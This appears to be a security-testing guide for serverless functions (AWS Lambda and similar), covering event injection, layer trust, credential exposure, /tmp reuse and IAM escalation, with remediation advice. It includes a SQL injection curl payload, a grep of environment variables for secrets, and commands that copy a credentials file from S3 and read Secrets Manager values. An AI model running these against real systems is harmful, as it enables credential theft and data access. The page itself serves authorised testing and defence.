Serverless Security Testing
Serverless functions (AWS Lambda, Azure Functions, Google Cloud Functions) introduce unique attack surfaces: event injection, over-permissive IAM roles, function chaining abuse, and cold-start behaviour. Traditional network-based pentest tools often don't apply — serverless requires a different approach.
Frameworks: WSTG n/a (closest: WSTG-CONF-05, -11) · ASVS 5.0 V15.2.3 (also V13.2.4) · CWE-269, CWE-918, CWE-798 · T1078.004, T1552.005
What Serverless Changes
The handler is still an application: it parses untrusted input and talks to a database. What changes
is the perimeter — input arrives as a structured event another team defines, the runtime injects
temporary credentials, the environment is reused between invocations, and the blast radius is
whatever the execution role can reach. Injection needs an invocation path and a handler that passes
event fields into something that interprets them; role and /tmp testing need a foothold
inside the function. This page introduces those mechanics.
Event Injection
The event is the request. API Gateway's proxy integration gives the handler an object whose
body is a string, so the application parses a second time — a payload rejected
in one parse may be accepted in the other. SQS and SNS are more direct: whoever can write to the
queue controls the body verbatim. A positive result is the payload's effect downstream: a row, a
file, a 500 whose stack trace contains the query. A validation error raised before the field is used
is a benign result.
# Serverless functions are triggered by events. Inject into event sources:
# API Gateway → Lambda (HTTP event injection):
curl -X POST https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user \
-H 'Content-Type: application/json' \
-d '{"username": "admin\' OR 1=1 --"}'
# S3 event injection:
# If a Lambda processes uploaded files, upload malicious files:
# - ZIP bomb (denial of service)
# - XML file triggering XXE in the parser
# - Image with embedded code (ImageMagick exploitation)
# SQS/SNS event injection:
# If the function processes messages from a queue:
# Inject malicious payloads into the queue message body
# DynamoDB Stream injection:
# If a function triggers on database changes:
# Insert data that causes injection when the function processes it
# Cognito trigger injection:
# Pre-signup, post-auth triggers may process user-controlled data
# Register with malicious values in custom attributesDependency and Layer Trust
Layers are the part of the supply chain teams forget. A layer is a versioned archive mounted at
/opt and shared by every function that references it, so one update changes all of
them — and pipelines scan the function package while ignoring the layer. Pinning a version ARN makes
the dependency set reproducible. Read the layer version from the config, compare the artifact
against the published package, and check whether the function resolves the module from
/opt/nodejs/node_modules before its own bundle: resolution order decides which copy
loads.
Environment & Configuration Exposure
The runtime injects AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and
AWS_SESSION_TOKEN for the execution role. Encryption at rest does not help against a
principal holding lambda:GetFunctionConfiguration, which returns them in clear. A
positive finding is a live secret that also works from your machine; a benign one is a placeholder
or a key scoped to a resource you already control.
# Lambda environment variables often contain secrets:
# If you achieve code execution in a Lambda:
env | grep -iE 'key|secret|token|password|database|connection'
# AWS Lambda has these environment variables by default:
# AWS_ACCESS_KEY_ID
# AWS_SECRET_ACCESS_KEY
# AWS_SESSION_TOKEN
# AWS_LAMBDA_FUNCTION_NAME
# AWS_REGION
# These temporary credentials can be used for AWS API calls:
aws sts get-caller-identity
aws s3 ls
aws iam list-roles
# Check /tmp for data from previous invocations (shared container):
ls -la /tmp/
cat /tmp/*
# Read the function code:
ls -la /var/task/
cat /var/task/index.js
cat /var/task/handler.py
# Check IAM permissions (what can this function access?):
# Derive the execution role ARN (sts returns an assumed-role ARN):
ROLE_ARN=$(aws sts get-caller-identity --query Arn --output text \
| sed -E 's#arn:aws:sts::([0-9]+):assumed-role/([^/]+)/.*#arn:aws:iam::\1:role/\2#')
# Requires iam:SimulatePrincipalPolicy:
aws iam simulate-principal-policy \
--policy-source-arn "$ROLE_ARN" \
--action-names 's3:GetObject' 's3:PutObject' 'dynamodb:Scan'/tmp and Execution-Environment Reuse
/tmp is ephemeral storage — 512 MB by default, up to 10 GB — that survives while the
environment stays warm, and one environment serves many invocations. That makes it a
cross-invocation leak surface rather than a filesystem: a cache written for one request can be
served to the next. Prove it with two invocations and a marker.
# Invocation 1 — drop a marker in ephemeral storage
echo "probe-$(date +%s)" > /tmp/hm-probe
# Invocation 2 — same function, hopefully the same warm environment
cat /tmp/hm-probe 2>/dev/null && echo REUSED || echo FRESHPrivilege Escalation via Over-Permissive Roles
The execution role is the real blast radius. iam:SimulatePrincipalPolicy answers what
the role can do without making the calls; the escalation worth hunting is a role that can invoke or
rewrite a more privileged function (lambda:InvokeFunction,
lambda:UpdateFunctionCode) or pass a role (iam:PassRole). A positive
result is code running as a broader identity than the one you started in.
# Common issue: Lambda functions with wildcard IAM permissions
# If the function has s3:* or dynamodb:*, exploit it:
# Read any S3 bucket:
aws s3 ls s3://company-secrets-bucket/
aws s3 cp s3://company-secrets-bucket/credentials.json ./
# Scan DynamoDB tables:
aws dynamodb list-tables
aws dynamodb scan --table-name Users
# Invoke other Lambda functions:
aws lambda list-functions
aws lambda invoke --function-name admin-function output.json
cat output.json
# Modify other functions (if lambda:UpdateFunctionCode is allowed):
# This is a critical escalation — you can inject code into other functions
# Access Secrets Manager:
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentialsCold Starts and Concurrency Abuse
Cold starts are over-sold. A cold start is the platform initialising a new environment: init code runs again and latency jumps by hundreds of milliseconds. That is a fingerprinting and availability surface, not a dependable data side channel — concurrency and payload size swamp any signal you could attribute to another tenant. What is real: reserved concurrency is a hard cap, so exhausting it throttles every invocation (a denial of service with an invoice attached), and init-phase code runs once per environment, a good place to look for baked-in secrets.
Testing Checklist
- ☐ 1. Identify serverless endpoints (API Gateway URLs, function URLs)
- ☐ 2. Test injection in all event sources (HTTP, queue messages, file uploads)
- ☐ 3. Test for insecure deserialization of event payloads
- ☐ 4. Check for leaked environment variables in error messages
- ☐ 5. Test function timeout and memory limits (resource exhaustion DoS)
- ☐ 6. Assess IAM role permissions (are they over-permissive?)
- ☐ 7. Test for data persistence in /tmp between invocations
- ☐ 8. Check if functions are publicly invocable without auth
- ☐ 9. Inventory layers and their versions; test whether the function resolves a library from
/optbefore its own bundle - ☐ 10. Test warm-environment reuse: write a marker to
/tmp, invoke again, read it back
Evidence Collection
Function Mapping: List of discovered functions, event sources, and permissions
Injection: Request/response showing successful event injection
IAM Assessment: Over-permissive policies with wildcard actions
Layer Inventory: Layer name, version and ARN per function, plus the resolved module path that proves which copy loaded
Warm Reuse: Two invocations: the marker written by the first, and the same marker read by the second
CVSS Range: Event injection: 7.5–9.1 | Credential exposure: 8.6–9.8 | IAM escalation: 9.1–9.8
Remediation
- • Least privilege IAM: Grant only the specific permissions each function needs — never use * wildcards.
- • Validate all events: Never trust event data — validate and sanitize all fields from event sources.
- • Use Secrets Manager: Never store secrets in environment variables — use AWS Secrets Manager or similar.
- • Set resource limits: Configure timeout, memory, and concurrency limits to prevent abuse.
- • Restrict function access: Use API Gateway authorizers, require authentication for all function URLs.
- • Pin layers: Reference a specific layer version ARN in every function, scan the layer artifact like application code, and treat a layer update as a production change.
- • Bound concurrency: Set reserved concurrency per function and alarm on throttle counts so exhausting one function cannot starve the shared account pool.
False Positive Identification
- Env vars in logs by design: Some logging frameworks intentionally log environment context — verify the logged variables contain actual secrets, not just config metadata.
- Broad IAM role by design: Some architectures use shared roles across functions intentionally — report the risk but assess if the role follows least-privilege for the function group.
- Cold start timing variance: Variable response times in serverless don't indicate a timing attack — cold starts naturally cause 100-500ms variance.
- Throttling during load: 429s under a burst are the concurrency limit working as designed. A finding needs the throttle to persist at low request rates, or to be reachable by a single unauthenticated caller.
- A marker that survived by luck: <code>/tmp</code> reuse is not guaranteed — the platform may recycle the environment between your invocations. Repeat the test several times before reporting persistence.
Serverless Practice
Attack function event data, IAM scope, and dependency handling. Both labs are available, though both have low maintenance velocity (neither is archived).